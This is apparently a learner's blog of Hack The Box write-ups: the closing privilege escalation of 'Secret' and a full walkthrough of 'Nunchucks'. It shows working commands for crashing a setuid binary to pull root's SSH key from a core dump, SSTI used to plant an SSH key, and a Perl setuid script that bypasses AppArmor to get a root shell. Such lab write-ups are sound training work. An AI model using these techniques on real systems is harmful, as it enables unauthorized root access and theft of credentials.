To ensure I could quickly access the box again if I were to lose my reverse shell, I created the .ssh directory. Next, I created a public/private key pair using ‘ssh-keygen’ and used ‘echo’ to add the public key to the ‘authorized_keys’ file. I could then SSH to the box as the ‘dasith’ user with the private key. Once I was back on the box it was time to perform some more enumeration. Therefore, I used the find tool to identify all ‘setuid’ files on the system. Below, you can see a screenshot showing the results of the command.

dasith@secret:~$ find / -perm -u=s -type f 2>/dev/null
Finding files

The ‘/opt/count’ file sticks out mainly because it is ‘/opt’ directory used for optional binaries. Checking the permissions on the file, I confirmed that it was owned by root, had ‘setuid’ and was executable by anyone. If I was to run this binary as the dasith user, it would retain the privileges of the root user. Therefore, it would be able to access areas of the system that the dasith user couldn’t

Count file

Secret Privilege Escalation

The developer of the count binary was kind enough to leave behind the source code for us to look at. Unfortunately, my lack of coding ability and knowledge of functions is going to restrict me in understand why this is vulnerable. According to the official walkthrough, the presence of ‘prctl(PR_SET_DUMPABLE, 1)’ combined with the ‘vargrind.log’ creates a vulnerable condition. Since the count binary is executing with the privileges of the root user, we can use it to open a file and then force it to crash. Upon crashing, it will write the contents of whatever was opened to the core dump log file.

Secret Code

Let’s do it. First, I ran the count binary and told l it to open the root user’s SSH private key.

dasith@secret:/opt$ /opt/count
Enter source file/directory name: /root/.ssh/id_rsa
Total characters = 2602
Total words = 45
Total lines = 39
Save results a file? [y/N]:

Next, I used ‘CTRL Z’ to background the process and then used kill to crash the count binary. I then used ‘fg’ to foreground the binary.

dasith@secret:/opt$ kill -SIGSEGV `ps -e | grep -w "count" |awk -F ' ' '{print$1}'`
dasith@secret:/opt$ fg
/opt/count
Segmentation fault (core dumped)

That was completed successfully as you can see it caused a segmentation fault. I recognise that error from the very few buffer overflow challenges I’ve done. I then used ‘apport-unpack’ to unpack the crash dump to ‘/tmp’ and then used strings on the core dump file to retrieve the root user’s SSH key.

dasith@secret:/var/crash$ apport-unpack _opt_count.1000.crash /tmp/crash_unpacked
dasith@secret:/tmp/crash_unpacked$ strings CoreDump
Private Key

Finally, I echoed the private key in a file and gave it 600 permissions. I then used SSH to connect to localhost as the root user using the key and grabbed the root.txt flag.

dasith@secret:~$ ssh -i key root@localhost
Last login: Tue Oct 26 16:35:01 2021 from 10.10.14.6
root@secret:~# cat /root/root.txt
b00▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓a1c

Secret Learnings

I enjoyed completing this box, it had a fun foothold and an interesting privilege escalation. I’ve been doing a bit with JWT tokens recently so the foothold complimented it nicely. 6 months ago I wouldn’t have had a clue how to attack JWT tokens but now I believe I could have worked that part out. However, I’m not sure I would have seen the git file and thought to enumerate the repository. This is something that I will remember if it comes up again. My reverse shell through Burp worked the first time which was nice.

The privilege escalation was fascinating. I understand the logic behind it but I don’t believe I would have worked it out from the code. It’s difficult to say because in hindsight everything seems easier than when you first approached it. I like how it was different to more common setuid privilege escalations. It required thinking outside of the constraints of the binary. I probably would have spent hours trying to escape the binary like a typical GTFO bin exploit. I suppose that’s exactly what we did in a way.

Hack The Box – Nunchucks

Nunchucks is an easy Linux box created by TheCyberGeek on Hack The Box and I intend to hack it. Hello world, welcome to Haxez in this post I will be explaining how I hacked into Nunchucks and stole the flags. Since I’m still learning, I will be using the official walkthrough when needed. Therefore, you should think of this write-up as a typical blog documenting my experience, rather than a walkthrough.

Nunchucks Enumeration

I started the Nunhucks machine and connected to the VPN. Next, I pinged the box to ensure that it was online and that I could talk to it. Below, you can see the results of the Nmap scan showing that port 22 for SSH, port 80 for HTTP and port 443 for HTTPS were open. Consequently, I can see that this is an Ubuntu box running Nginx. Furthermore, it appears that the domain associated with the box is nunchucks.htb. I wonder if TheCyberGeek is from Dorset as that’s where the SSL certificate is set to. One of my closest friends lived in Dorset and I used to visit regularly. Lovely place!

┌──(kali㉿kali)-[~/HTB/Nunchucks]
└─$ sudo nmap -sC -sV -p- 10.129.236.104
Nunchucks Enumeration

Nunchucks Application Enumeration

Following my Nmap scans, I attempted to visit the IP address in my browser but it immediately redirected to the nunchucks.htb domain name. Therefore, I echoed the domain and IP address into my host file so that the application would redirect correctly and I could visit it. Below, you can see the result of attempting to visit the IP address followed by the command to add the domain to my host file. Finally, you can see the intended application.

Nunchucks Application Enumeration
┌──(kali㉿kali)-[~/HTB/Nunchucks]
└─$ echo "10.129.236.104 nunchucks.htb" | sudo tee -a /etc/hosts
10.129.236.104 nunchucks.htb
Nunchucks.htb

If you know the enemy and know yourself, you need not fear the result of a hundred battles. Sun Tzu would have made an excellent hacker. Knowing as much as we can about the application will help us defeat it. Therefore, I ran ‘whatweb’ against the application to identify the technologies in use. As a result, I could see that it was a Node JS application utilizing the Express framework. I’ve only just started to learn about Node JS so my terminology may be wrong.

┌──(kali㉿kali)-[~/HTB/Nunchucks]
└─$ sudo whatweb http://nunchucks.htb
Nunchucks whatweb

Crawling Forward

Initially, I attempted to register a user but received an error. Furthermore, attempting to log in with generic credentials resulted in an error message advising that user logins were disabled. Consequently, I wasn’t sure what to do next so I checked the official walkthrough. The author (TheCyberGeek) explains that at the bottom of the page, there is a message advising that a store is coming soon. As a result, we should brute force additional virtual hosts.

shop virtualhost

There are a number of tools that I could have used to brute force additional virtual hosts. However, I thought it best that I stick to ‘gobuster’ since that’s what TheCyberGeek used. Unfortunately, it didn’t work which I found surprising. I performed a grep on the wordlist and ‘shop’ was definitely in there.

gobuster

Therefore, I decided to try ‘ffuf’ which I’m happy to report found pretty quickly. Initially, I ran it without any filters to identify the file size of the error page. Next, I added the file size to filter out all pages with that file size. As a result, we found the shop virtual host with a file size of 4029. I’m not sure why gobuster didn’t find it. Obviously, I could have just added the store virtual host to my host file as it was a logical assumption but this way I get to use tools. In the past, I’ve either quit or jumped ahead when something didn’t work. This is a bad practice to be avoided as you don’t learn anything.

┌──(kali㉿kali)-[~/HTB/Nunchucks]
└─$ sudo ffuf -u https://10.129.236.104 -H 'HOST: FUZZ.nunchucks.htb' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fs 30589
ffuf nunchucks

Finally, I added the host to my host file.

┌──(kali㉿kali)-[~/HTB/Nunchucks]
└─$ echo "10.129.236.104 store.nunchucks.htb" | sudo tee -a /etc/hosts
10.129.236.104 store.nunchucks.htb

Going Shopping

I visited the new host in my browser but other than a wholesome background, there wasn’t much going on. There was an option to subscribe to the newsletter but that was about it. I dipped into the page source but couldn’t see much. I also ran ‘whatweb’ again and discovered that this application is also using the Node JS Express framework.

store.nunchucks.htb

The mailing list subscription box piqued my interest as the submitted input was reflected back on the page. I tried some generic XSS payloads but the form appeared to be validating the input. As a result, I headed back to the official walkthrough and the name of the box suddenly made sense.

hacktricks ssti

Nunchucks Server Side Template Injection

SSTI (Server-Side Template Injection) is a type of web application vulnerability that occurs when an attacker is able to inject and execute their own code within a server-side template. This can allow the attacker to access sensitive information or perform unauthorized actions on the web application, potentially compromising the entire system. SSTI attacks often target applications that use templates to dynamically generate web pages, such as those using popular frameworks like Flask or Django. Proper input validation and output encoding can help prevent SSTI vulnerabilities. Below, you can see that injecting the payload of ‘808/2’ resulted in the reflected response containing ‘[email protected]’. The box calculated the sum and returned the answer in its response.

SSTI bob Nunchucks

After confirming the SSTI vulnerability, I found the POST request in Burp and attempted to retrieve the contents of the ‘/etc/passwd’ file. My first attempt wasn’t so successful but it caused the application to error and show the application file paths. This was a good thing because I now had more information about the application.

Burp SSTI Error

Unfortunately, the payload on Hacktricks didn’t work. Once again, I headed to the official walkthrough for answers. Despite getting the working payload, I didn’t find the answers I was looking for. I wanted to know why backslashes had to be added to the payload. Below, you can see the original payload (from Hacktricks) and the one used to complete the exploit. The difference between them is the two backslashes. It seems that the backslash is needed to escape the quotation mark but now I’m wondering why one is outside the quotation mark while the other is inside.

Sorry for the image, medium hates SSTI examples in code blocks.

ssti

Cybersecurity, climbing over one wall and running face-first into another. I’m not looking forward to getting the reverse shell to work.

Nunchucks Foothold

As I suspected, I did not enjoy this part and it made me contemplate what I’m doing with my life. It seems so simple to execute yet everything I tried resulted in an error. Even after intensive google searches and reading everyone else’s walkthroughs, my payload still wouldn’t work. I was escaping the double quotes properly, I was escaping other quotes or replacing them with single quotes. Consequently, I was losing my mind.

Finally, I reset the box. I can’t see how it would have made a difference but the payloads I had previously tried now started working. I followed this guide >>HERE<< to drop an SSH key into Davids’s authorized keys files. The attack chain was using SSTI to cat the ‘/etc/passwd’ file. Identifying David as a user and checking his home directory. Then creating the .ssh directory and echoing my public key into his authozied_keys file. You can use the snippet below and replace the commands with the commands needed for the attack chain.

ssti passwd
SSTI authorized_keys

I was finally able to grab the user key.

┌──(kali㉿kali)-[~/HTB/Nunchucks]
└─$ ssh -i key [email protected]
david@nunchucks:~$ cat user.txt
774▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓c50

Nunchucks Authenticated Enumeration

Once on the box, I downloaded and ran LinPEAS to look for any obvious signs of a privilege escalation path. It found two CVE’s but they were not the intended path to root. However, it did find that Perl had setuid capabilities set. Furthermore, it also identified that a number of backup files were owned by roots but part of the david group.

LinPEAS

We’re now entering into territory beyond my current knowledge level. For that reason, I’m just going to regurgitate the steps from the official walkthrough.

Unfortunately, Perl having ‘setuid’ capabilities set didn’t mean we could elevate our privileges. In fact, attempting to do so resulted in errors that suggested something else was at work. For example, attempting to cat the shadow file with Perl resulted in a permission denied error. According to GTFO bins, this should have allowed us to read the file.

david@nunchucks:~$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "cat /etc/shadow";'
cat: /etc/shadow: Permission denied

Moreover, running the ‘whoami’ command with Perl tells us we’re root. What’s going on here? Is the system having some split-brain identity crisis and not giving us the privileges of the root user?

david@nunchucks:~$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";'
root

From further enumeration, it seems there is an AppArmor profile for Perl which contains a reference to a script in opt.

Perl Script

Privilege Escalation

We can see that the script is owned by root but from peaking inside the script we can see that it is using ‘POSIX::setuid(0);’ so that it runs as root even when a different user runs it. I’m struggling to do the mental acrobatics to work this out. The file is owned by root but can be executed by anybody. However, due to the ‘setuid’ line in the script, it will run with root privileges. This is a clever way of hiding the file from automated tools like LinPEAS and I hate you. Of course, we can’t edit this script to add our own command to it to elevate our privileges.

Nunchucks posix

This next step shows how big of a security hole the SETUID capabilities on the Perl binary are even though it’s restricted with AppArmor. This bug >>HERE<< explains that if a script has a shebang to the binary in question, it doesn’t get given the restrictions imposed by the AppArmour profile. That’s quite a significant bug and we can use it to elevate ourselves to ‘root’ and finally capture the root flag. You can see the exploit below.

david@nunchucks:~$ vim whoops.pl
david@nunchucks:~$ cat whoops.pl
#!/usr/bin/perl
use POSIX qw(setuid);
POSIX::setuid(0);
exec "/bin/bash";
david@nunchucks:~$ chmod +x whoops.pl
david@nunchucks:~$ ./whoops.pl
root@nunchucks:~# cat /root/root.txt
5fc▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓b21

Nunchucks Learnings

I’m glad I’ve finished this box. For me, this box was hard to complete and I wouldn’t have been able to do it without the walkthrough. Admittedly, I almost gave up when trying to get a foothold but persistence eventually paid off. Unfortunately, I still don’t understand what I was doing wrong but I got there in the end. I tend to struggle when getting reverse shells through Burp and it’s something I need to work on.

The privilege escalation hammered home that automated tools won’t always tell you what you need to do. I don’t think I would have worked it out. In fact, I probably would have kept trying GTFO bins but eventually gave up. This box is a great example of thinking outside of the box/binary. It also highlighted how big the gaps in my knowledge are and has left me questioning my own capabilities. Until next time!